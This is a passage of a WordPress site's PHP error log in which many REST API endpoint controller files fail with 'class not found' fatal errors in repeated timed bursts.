/home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17 [20-Aug-2026 05:55:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [20-Aug-2026 05:55:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17 [20-Aug-2026 05:55:47 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17 [20-Aug-2026 05:55:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18 [20-Aug-2026 05:55:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [20-Aug-2026 05:55:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [20-Aug-2026 05:55:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17 [20-Aug-2026 05:55:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [04-Sep-2026 13:25:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [04-Sep-2026 13:25:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php on line 19 [04-Sep-2026 13:25:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 19 [04-Sep-2026 13:25:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17 [04-Sep-2026 13:25:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [04-Sep-2026 13:25:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [04-Sep-2026 13:25:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [04-Sep-2026 13:25:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17 [04-Sep-2026 13:25:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [04-Sep-2026 13:25:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17 [04-Sep-2026 13:25:47 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [04-Sep-2026 13:25:47 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [04-Sep-2026 13:25:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17 [04-Sep-2026 13:25:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17 [04-Sep-2026 13:25:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17 [04-Sep-2026 13:25:49 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [04-Sep-2026 13:25:49 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [04-Sep-2026 13:25:49 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13 [04-Sep-2026 13:25:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [04-Sep-2026 13:25:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php on line 18 [04-Sep-2026 13:25:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php on line 19 [04-Sep-2026 13:25:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17 [04-Sep-2026 13:25:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [04-Sep-2026 13:25:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17 [04-Sep-2026 13:25:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [04-Sep-2026 13:25:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20 [04-Sep-2026 13:25:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17 [04-Sep-2026 13:25:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [04-Sep-2026 13:25:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17 [04-Sep-2026 13:25:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [04-Sep-2026 13:25:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [04-Sep-2026 13:25:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17 [04-Sep-2026 13:25:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [04-Sep-2026 13:25:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19 [04-Sep-2026 13:25:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17 [04-Sep-2026 13:25:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [04-Sep-2026 13:25:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17 [04-Sep-2026 13:25:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17 [04-Sep-2026 13:25:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [04-Sep-2026 13:25:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17 [04-Sep-2026 13:25:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17 [04-Sep-2026 13:25:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18 [04-Sep-2026 13:25:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [04-Sep-2026 13:25:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [04-Sep-2026 13:25:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17 [04-Sep-2026 13:25:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [04-Sep-2026 13:38:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [04-Sep-2026 13:38:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php on line 19 [04-Sep-2026 13:38:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 19 [04-Sep-2026 13:38:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17 [04-Sep-2026 13:38:10 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [04-Sep-2026 13:38:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [04-Sep-2026 13:38:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [04-Sep-2026 13:38:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17 [04-Sep-2026 13:38:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [04-Sep-2026 13:38:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17 [04-Sep-2026 13:38:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [04-Sep-2026 13:38:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [04-Sep-2026 13:38:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17 [04-Sep-2026 13:38:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17 [04-Sep-2026 13:38:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17 [04-Sep-2026 13:38:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [04-Sep-2026 13:38:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [04-Sep-2026 13:38:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13 [04-Sep-2026 13:38:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [04-Sep-2026 13:38:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php on line 18 [04-Sep-2026 13:38:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php on line 19 [04-Sep-2026 13:38:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17 [04-Sep-2026 13:38:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [04-Sep-2026 13:38:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17 [04-Sep-2026 13:38:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [04-Sep-2026 13:38:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20 Stack trace: #0 {main} thrown in 